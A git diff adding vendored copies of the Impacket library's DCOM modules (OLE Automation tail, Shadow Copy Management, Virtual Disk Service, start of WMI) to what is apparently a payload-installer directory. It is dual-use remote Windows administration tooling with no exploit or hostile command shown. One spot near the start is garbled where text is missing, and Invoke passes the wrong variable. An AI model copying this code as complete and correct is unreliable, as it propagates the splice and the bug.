= 0xe + VT_I1 = 0x10 + VT_UI1 = 0x11 + VT_UI2 = 0x12 + VT_UI4 = 0x13 + VT_I8 = 0x14 + VT_UI8 = 0x15 + VT_INT = 0x16 + VT_UINT = 0x17 + VT_VOID = 0x18 + VT_HRESULT = 0x19 + VT_PTR = 0x1a + VT_SAFEARRAY = 0x1b + VT_CARRAY = 0x1c + VT_USERDEFINED = 0x1d + VT_LPSTR = 0x1e + VT_LPWSTR = 0x1f + VT_RECORD = 0x24 + VT_INT_PTR = 0x25 + VT_UINT_PTR = 0x26 + VT_ARRAY = 0x2000 + VT_BYREF = 0x4000 + VT_UINT_PTR = 7 + VT_RECORD_OR_VT_BYREF = VT_RECORD | VT_BYREF + VT_UI1_OR_VT_BYREF = VT_UI1 | VT_BYREF + VT_I2_OR_VT_BYREF = VT_I2 | VT_BYREF + VT_I4_OR_VT_BYREF = VT_I4 | VT_BYREF + VT_I8_OR_VT_BYREF = VT_I8 | VT_BYREF + VT_R4_OR_VT_BYREF = VT_R4 | VT_BYREF + VT_R8_OR_VT_BYREF = VT_R8 | VT_BYREF + VT_BOOL_OR_VT_BYREF = VT_BOOL | VT_BYREF + VT_ERROR_OR_VT_BYREF = VT_ERROR | VT_BYREF + VT_CY_OR_VT_BYREF = VT_CY | VT_BYREF + VT_DATE_OR_VT_BYREF = VT_DATE | VT_BYREF + VT_BSTR_OR_VT_BYREF = VT_BSTR | VT_BYREF + VT_UNKNOWN_OR_VT_BYREF = VT_UNKNOWN | VT_BYREF + VT_DISPATCH_OR_VT_BYREF = VT_DISPATCH | VT_BYREF + VT_ARRAY_OR_VT_BYREF = VT_ARRAY | VT_BYREF + VT_VARIANT_OR_VT_BYREF = VT_VARIANT| VT_BYREF + VT_I1_OR_VT_BYREF = VT_I1 | VT_BYREF + VT_UI2_OR_VT_BYREF = VT_UI2 | VT_BYREF + VT_UI4_OR_VT_BYREF = VT_UI4 | VT_BYREF + VT_UI8_OR_VT_BYREF = VT_UI8 | VT_BYREF + VT_INT_OR_VT_BYREF = VT_INT | VT_BYREF + VT_UINT_OR_VT_BYREF = VT_UINT | VT_BYREF + VT_DECIMAL_OR_VT_BYREF = VT_DECIMAL | VT_BYREF + +# 2.2.8 SAFEARRAY Feature Constants +class SF_TYPE(NDRENUM): + # [v1_enum] type + structure = ( + ('Data', ' 0 THEN +# PRINT Name of the method is rgBstrNames[0] +# PRINT Parameters to above method are following +# FOR Y = 1 to pcNames -1 +# PRINT rgBstrNames[Y] +# END FOR +# END IF +# END FOR i +# ENDIF +def enumerateMethods(iInterface): + methods = dict() + typeInfoCount = iInterface.GetTypeInfoCount() + if typeInfoCount['pctinfo'] == 0: + LOG.error('Automation Server does not support type information for this object') + return {} + iTypeInfo = iInterface.GetTypeInfo() + iTypeAttr = iTypeInfo.GetTypeAttr() + for x in range(iTypeAttr['ppTypeAttr']['cFuncs']): + funcDesc = iTypeInfo.GetFuncDesc(x) + names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255) + print names['rgBstrNames'][0]['asData'] + funcDesc.dump() + print '='*80 + if names['pcNames'] > 0: + name = names['rgBstrNames'][0]['asData'] + methods[name] = {} + for param in range(1, names['pcNames']): + methods[name][names['rgBstrNames'][param]['asData']] = '' + if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL: + methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc']['tdesc']['vt'] + + return methods + +def checkNullString(string): + if string == NULL: + return string + + if string[-1:] != '\x00': + return string + '\x00' + else: + return string + +class ITypeComp(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_ITypeComp + +class ITypeInfo(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_ITypeInfo + + def GetTypeAttr(self): + request = ITypeInfo_GetTypeAttr() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetTypeComp(self): + request = ITypeInfo_GetTypeComp() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return ITypeComp(INTERFACE(self.get_cinstance(), ''.join(resp['ppTComp']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def GetFuncDesc(self, index): + request = ITypeInfo_GetFuncDesc() + request['index'] = index + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetNames(self, memid, cMaxNames=10): + request = ITypeInfo_GetNames() + request['memid'] = memid + request['cMaxNames'] = cMaxNames + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetDocumentation(self, memid, refPtrFlags=15): + request = ITypeInfo_GetDocumentation() + request['memid'] = memid + request['refPtrFlags'] = refPtrFlags + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + +class IDispatch(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_IDispatch + + def GetTypeInfoCount(self): + request = IDispatch_GetTypeInfoCount() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetTypeInfo(self): + request = IDispatch_GetTypeInfo() + request['iTInfo'] = 0 + request['lcid'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return ITypeInfo(INTERFACE(self.get_cinstance(), ''.join(resp['ppTInfo']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def GetIDsOfNames(self, rgszNames, lcid = 0): + request = IDispatch_GetIDsOfNames() + request['riid'] = IID_NULL + for name in rgszNames: + tmpName = LPOLESTR() + tmpName['Data'] = checkNullString(name) + request['rgszNames'].append(tmpName) + request['cNames'] = len(rgszNames) + request['lcid'] = lcid + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + IDs = list() + for id in resp['rgDispId']: + IDs.append(id) + + return IDs + + def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef): + request = IDispatch_Invoke() + request['dispIdMember'] = dispIdMember + request['riid'] = IID_NULL + request['lcid'] = lcid + request['dwFlags'] = dwFlags + request['pDispParams'] = pDispParams + request['cVarRef'] = cVarRef + request['rgVarRefIdx'] = rgVarRefIdx + request['rgVarRef'] = rgVarRefIdx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/scmp.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/scmp.py new file mode 100644 index 0000000..bc4c1c3 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/scmp.py @@ -0,0 +1,339 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-SCMP]: Shadow Copy Management Protocol Interface implementation +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION +from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2 +from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import hresult_errors +from impacket.uuid import string_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f') +IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772') +IID_IVssEnumObject = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3') +IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529') +IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696') +IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5') + +# 2.2.1.1 VSS_ID +class VSS_ID(NDRSTRUCT): + structure = ( + ('Data','16s=""'), + ) + + def getAlignment(self): + return 2 + +#2.2.1.2 VSS_PWSZ +VSS_PWSZ = WSTR + +# 2.2.1.3 VSS_TIMESTAMP +VSS_TIMESTAMP = LONGLONG + +error_status_t = LONG +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1 VSS_OBJECT_TYPE Enumeration +class VSS_OBJECT_TYPE(NDRENUM): + class enumItems(Enum): + VSS_OBJECT_UNKNOWN = 0 + VSS_OBJECT_NONE = 1 + VSS_OBJECT_SNAPSHOT_SET = 2 + VSS_OBJECT_SNAPSHOT = 3 + VSS_OBJECT_PROVIDER = 4 + VSS_OBJECT_TYPE_COUNT = 5 + +# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration +class VSS_MGMT_OBJECT_TYPE(NDRENUM): + class enumItems(Enum): + VSS_MGMT_OBJECT_UNKNOWN = 0 + VSS_MGMT_OBJECT_VOLUME = 1 + VSS_MGMT_OBJECT_DIFF_VOLUME = 2 + VSS_MGMT_OBJECT_DIFF_AREA = 3 + +# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration +class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM): + class enumItems(Enum): + VSS_VOLSNAP_ATTR_PERSISTENT = 0x01 + VSS_VOLSNAP_ATTR_NO_AUTORECOVERY = 0x02 + VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04 + VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE = 0x08 + VSS_VOLSNAP_ATTR_NO_WRITERS = 0x10 + +# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration +class VSS_SNAPSHOT_STATE(NDRENUM): + class enumItems(Enum): + VSS_SS_UNKNOWN = 0x01 + VSS_SS_CREATED = 0x0c + +# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration +class VSS_PROVIDER_TYPE(NDRENUM): + class enumItems(Enum): + VSS_PROV_UNKNOWN = 0 + +# 2.2.3.7 VSS_VOLUME_PROP Structure +class VSS_VOLUME_PROP(NDRSTRUCT): + structure = ( + ('m_pwszVolumeName', VSS_PWSZ), + ('m_pwszVolumeDisplayName', VSS_PWSZ), + ) + +# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union +class VSS_MGMT_OBJECT_UNION(NDRUNION): + commonHdr = ( + ('tag', ULONG), + ) + union = { + VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP), + #VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP), + #VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP), + } + +# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure +class VSS_MGMT_OBJECT_PROP(NDRSTRUCT): + structure = ( + ('Type', VSS_MGMT_OBJECT_TYPE), + ('Obj', VSS_MGMT_OBJECT_UNION), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# 3.1.3 IVssEnumMgmtObject Details + +# 3.1.3.1 Next (Opnum 3) +class IVssEnumMgmtObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IVssEnumMgmtObject_NextResponse(DCOMANSWER): + structure = ( + ('rgelt', VSS_MGMT_OBJECT_PROP), + ('pceltFetched', ULONG), + ('ErrorCode', error_status_t), + ) + +# 3.1.2.1 Next (Opnum 3) +class IVssEnumObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IVssEnumObject_NextResponse(DCOMANSWER): + structure = ( + ('rgelt', VSS_MGMT_OBJECT_PROP), + ('pceltFetched', ULONG), + ('ErrorCode', error_status_t), + ) + +class GetProviderMgmtInterface(DCOMCALL): + opnum = 3 + structure = ( + ('ProviderId', VSS_ID), + ('InterfaceId', VSS_ID), + ) + +class GetProviderMgmtInterfaceResponse(DCOMANSWER): + structure = ( + ('ppItf', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +class QueryVolumesSupportedForSnapshots(DCOMCALL): + opnum = 4 + structure = ( + ('ProviderId', VSS_ID), + ('IContext', LONG), + ) + +class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +class QuerySnapshotsByVolume(DCOMCALL): + opnum = 5 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ('ProviderId', VSS_ID), + ) + +class QuerySnapshotsByVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6) +class QueryDiffAreasForVolume(DCOMCALL): + opnum = 6 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ) + +class QueryDiffAreasForVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7) +class QueryDiffAreasOnVolume(DCOMCALL): + opnum = 7 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ) + +class QueryDiffAreasOnVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { +} + +################################################################################ +# HELPER FUNCTIONS AND INTERFACES +################################################################################ +class IVssEnumMgmtObject(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssEnumMgmtObject + + def Next(self, celt): + request = IVssEnumMgmtObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + resp = self.request(request, self._iid, uuid = self.get_iPid()) + return resp + +class IVssEnumObject(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssEnumObject + + def Next(self, celt): + request = IVssEnumObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + dce = self.connect() + resp = dce.request(request, self._iid, uuid = self.get_iPid()) + return resp + +class IVssSnapshotMgmt(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssSnapshotMgmt + + def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt): + req = GetProviderMgmtInterface() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['ProviderId'] = providerId + req['InterfaceId'] = interfaceId + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def QueryVolumesSupportedForSnapshots(self, providerId, iContext): + req = QueryVolumesSupportedForSnapshots() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['ProviderId'] = providerId + req['IContext'] = iContext + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target())) + + def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider): + req = QuerySnapshotsByVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = volumeName + req['ProviderId'] = providerId + try: + resp = self.request(req, self._iid, uuid = self.get_iPid()) + except DCERPCException, e: + print e + from impacket.winregistry import hexdump + data = e.get_packet() + hexdump(data) + kk = QuerySnapshotsByVolumeResponse(data) + kk.dump() + #resp.dump() + return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + +class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt + + def QueryDiffAreasOnVolume(self, pwszVolumeName): + req = QueryDiffAreasOnVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = pwszVolumeName + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def QueryDiffAreasForVolume(self, pwszVolumeName): + req = QueryDiffAreasForVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = pwszVolumeName + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/vds.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/vds.py new file mode 100644 index 0000000..842a3b1 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/vds.py @@ -0,0 +1,269 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-VDS]: Virtual Disk Service (VDS) Protocol +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.enum import Enum +from impacket import hresult_errors +from impacket.uuid import string_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code) + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575') +IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E') +IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25') +IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC') +IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69') +IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E') +IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8') +IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42') + +error_status_t = ULONG + +# 2.2.1.1.3 VDS_OBJECT_ID +VDS_OBJECT_ID = GUID + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1.3.1 VDS_SERVICE_PROP +class VDS_SERVICE_PROP(NDRSTRUCT): + structure = ( + ('pwszVersion',LPWSTR), + ('ulFlags',ULONG), + ) + +class OBJECT_ARRAY(NDRUniConformantVaryingArray): + item = PMInterfacePointer + +# 2.2.2.7.1.1 VDS_PROVIDER_TYPE +class VDS_PROVIDER_TYPE(NDRENUM): + class enumItems(Enum): + VDS_PT_UNKNOWN = 0 + VDS_PT_SOFTWARE = 1 + VDS_PT_HARDWARE = 2 + VDS_PT_VIRTUALDISK = 3 + VDS_PT_MAX = 4 + +# 2.2.2.7.2.1 VDS_PROVIDER_PROP +class VDS_PROVIDER_PROP(NDRSTRUCT): + structure = ( + ('id',VDS_OBJECT_ID), + ('pwszName',LPWSTR), + ('guidVersionId',GUID), + ('pwszVersion',LPWSTR), + ('type',VDS_PROVIDER_TYPE), + ('ulFlags',ULONG), + ('ulStripeSizeFlags',ULONG), + ('sRebuildPriority',SHORT), + ) + +################################################################################ +# RPC CALLS +################################################################################ + +# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3) +class IVdsServiceInitialization_Initialize(DCOMCALL): + opnum = 3 + structure = ( + ('pwszMachineName', LPWSTR), + ) + +class IVdsServiceInitialization_InitializeResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3) +class IVdsService_IsServiceReady(DCOMCALL): + opnum = 3 + structure = ( + ) + +class IVdsService_IsServiceReadyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4) +class IVdsService_WaitForServiceReady(DCOMCALL): + opnum = 4 + structure = ( + ) + +class IVdsService_WaitForServiceReadyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5) +class IVdsService_GetProperties(DCOMCALL): + opnum = 5 + structure = ( + ) + +class IVdsService_GetPropertiesResponse(DCOMANSWER): + structure = ( + ('pServiceProp', VDS_SERVICE_PROP), + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6) +class IVdsService_QueryProviders(DCOMCALL): + opnum = 6 + structure = ( + ('masks', DWORD), + ) + +class IVdsService_QueryProvidersResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.1.1 IEnumVdsObject Interface +# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3) +class IEnumVdsObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IEnumVdsObject_NextResponse(DCOMANSWER): + structure = ( + ('ppObjectArray', OBJECT_ARRAY), + ('pcFetched', ULONG), + ('ErrorCode', error_status_t), + ) +# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3) +class IVdsProvider_GetProperties(DCOMCALL): + opnum = 3 + structure = ( + ) + +class IVdsProvider_GetPropertiesResponse(DCOMANSWER): + structure = ( + ('pProviderProp', VDS_PROVIDER_PROP), + ('ErrorCode', error_status_t), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { +} + +################################################################################ +# HELPER FUNCTIONS AND INTERFACES +################################################################################ +class IEnumVdsObject(IRemUnknown2): + def Next(self, celt=0xffff): + request = IEnumVdsObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + try: + resp = self.request(request, uuid = self.get_iPid()) + except Exception, e: + resp = e.get_packet() + # If it is S_FALSE(1) means less items were returned + if resp['ErrorCode'] != 1: + raise + interfaces = list() + for interface in resp['ppObjectArray']: + interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target()))) + return interfaces + +class IVdsProvider(IRemUnknown2): + def GetProperties(self): + request = IVdsProvider_GetProperties() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + +class IVdsServiceInitialization(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + + def Initialize(self): + request = IVdsServiceInitialization_Initialize() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['pwszMachineName'] = '\x00' + resp = self.request(request, uuid = self.get_iPid()) + return resp + +class IVdsService(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + + def IsServiceReady(self): + request = IVdsService_IsServiceReady() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + try: + resp = self.request(request, uuid = self.get_iPid()) + except Exception, e: + resp = e.get_packet() + return resp + + def WaitForServiceReady(self): + request = IVdsService_WaitForServiceReady() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def GetProperties(self): + request = IVdsService_GetProperties() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def QueryProviders(self, masks): + request = IVdsService_QueryProviders() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['masks'] = masks + resp = self.request(request, uuid = self.get_iPid()) + return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/wmi.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/wmi.py new file mode 100644 index 0000000..f075c23 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/wmi.py @@ -0,0 +1,3114 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol. Partial implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +from struct import unpack, calcsize, pack +from functools import partial +import collections + +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRUniConformantVaryingArray, NDRUNION, \ + NDRENUM +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown, PMInterfacePointer, INTERFACE, \ + PMInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer, OBJREF_CUSTOM +from impacket.dcerpc.v5.dcom.oaut import BSTR +from impacket.dcerpc.v5.dtypes import ULONG, DWORD, NULL, LPWSTR, LONG, HRESULT, PGUID, LPCSTR, GUID +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import hresult_errors, LOG +from impacket.uuid import string_to_bin, uuidtup_to_bin +from impacket.structure import Structure + + +def format_structure(d, level=0): + x = "" + if isinstance(d, collections.Mapping): + lenk = max(map(lambda x: len(str(x)), d.keys())) + for k, v in d.items(): + key_text = "\n" + " "*level + " "*(lenk - len(str(k))) + str(k) + x += key_text + ": " + format_structure(v, level=level+lenk) + elif isinstance(d, collections.Iterable) and not isinstance(d, basestring): + for e in d: + x += "\n" + " "*level + "- " + format_structure(e, level=level+4) + else: + x = str(d) + return x +try: + from collections import OrderedDict +except: + try: + from ordereddict.ordereddict import OrderedDict + except: + from ordereddict import OrderedDict + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'WMI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + # Let's see if we have it as WBEMSTATUS + try: + return 'WMI Session 